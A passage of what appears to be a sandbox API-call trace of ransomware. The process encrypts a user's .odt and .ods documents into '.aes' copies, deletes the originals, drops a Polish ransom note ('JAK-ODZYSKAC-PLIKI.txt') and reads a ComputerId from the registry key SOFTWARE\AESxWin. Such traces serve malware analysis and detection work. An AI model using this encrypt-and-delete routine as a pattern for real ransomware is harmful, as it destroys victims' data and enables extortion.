dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0075.936] GetFileType (hFile=0x8dc) returned 0x1 [0075.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0075.936] GetFileType (hFile=0x8dc) returned 0x1 [0075.936] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt.aes", lpFilePart=0x0) returned 0x38 [0075.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0075.936] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\-gjqedw.odt.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0075.936] GetFileType (hFile=0x8e4) returned 0x1 [0075.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0075.936] GetFileType (hFile=0x8e4) returned 0x1 [0075.936] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0075.944] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0075.944] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0075.952] LocalFree (hMem=0x703ef10) returned 0x0 [0075.952] GetAdaptersAddresses () returned 0x6f [0075.957] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0075.957] GetAdaptersAddresses () returned 0x0 [0075.962] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.970] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0075.970] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0075.976] LocalFree (hMem=0x6ff2da0) returned 0x0 [0075.976] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.983] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0075.983] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0075.991] LocalFree (hMem=0x6ff2da0) returned 0x0 [0075.992] LocalFree (hMem=0x7074460) returned 0x0 [0075.992] GetBestInterfaceEx (in: pDestAddr=0x28ab370*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0076.080] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.081] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.081] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.081] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.082] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.082] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.082] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.082] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.082] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.082] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.082] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.083] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.083] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.083] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.083] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.083] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.083] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.083] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.084] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.084] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.084] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.084] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.084] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.084] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.084] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.085] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.085] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.085] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.085] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.085] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.085] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.085] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.086] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.087] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.087] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.087] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.087] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.087] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.087] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.088] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.088] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0xd58, lpOverlapped=0x0) returned 1 [0076.088] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b89f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89f8*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0076.088] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0xe71, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce974*=0xe71, lpOverlapped=0x0) returned 1 [0076.088] WriteFile (in: hFile=0x8e4, lpBuffer=0x2867ac8*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2867ac8*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0076.088] CloseHandle (hObject=0x8e4) returned 1 [0076.089] CloseHandle (hObject=0x8dc) returned 1 [0076.089] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt", lpFilePart=0x0) returned 0x34 [0076.089] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\-gjqedw.odt")) returned 1 [0076.090] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x43 [0076.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0076.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0076.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0076.091] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8dc) returned 0x0 [0076.091] RegQueryValueExW (in: hKey=0x8dc, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0076.091] RegQueryValueExW (in: hKey=0x8dc, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x28a0af4, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0076.091] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x43 [0076.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0076.091] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8e4 [0076.091] GetFileType (hFile=0x8e4) returned 0x1 [0076.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0076.091] GetFileType (hFile=0x8e4) returned 0x1 [0076.091] WriteFile (in: hFile=0x8e4, lpBuffer=0x28b0384*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x28b0384*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0076.092] CloseHandle (hObject=0x8e4) returned 1 [0076.092] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0076.122] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods", lpFilePart=0x0) returned 0x41 [0076.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0076.122] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\8puhjof5oub0zf3kj4pk.ods"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f486a0, ftCreationTime.dwHighDateTime=0x1d300cc, ftLastAccessTime.dwLowDateTime=0xf32ad4c0, ftLastAccessTime.dwHighDateTime=0x1d300fe, ftLastWriteTime.dwLowDateTime=0xf32ad4c0, ftLastWriteTime.dwHighDateTime=0x1d300fe, nFileSizeHigh=0x0, nFileSizeLow=0x83bf)) returned 1 [0076.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0076.123] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods", lpFilePart=0x0) returned 0x41 [0076.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0076.123] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\8puhjof5oub0zf3kj4pk.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0076.123] GetFileType (hFile=0x8e4) returned 0x1 [0076.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0076.123] GetFileType (hFile=0x8e4) returned 0x1 [0076.123] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods.aes", lpFilePart=0x0) returned 0x45 [0076.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0076.123] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\8puhjof5oub0zf3kj4pk.ods.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0076.123] GetFileType (hFile=0x7ec) returned 0x1 [0076.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0076.123] GetFileType (hFile=0x7ec) returned 0x1 [0076.123] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0076.135] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0076.135] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0076.143] LocalFree (hMem=0x703ef10) returned 0x0 [0076.143] GetAdaptersAddresses () returned 0x6f [0076.148] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0076.148] GetAdaptersAddresses () returned 0x0 [0076.153] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.159] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.159] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.165] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.166] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.172] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.172] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.178] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.179] LocalFree (hMem=0x7074460) returned 0x0 [0076.179] GetBestInterfaceEx (in: pDestAddr=0x26d146c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0076.258] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, 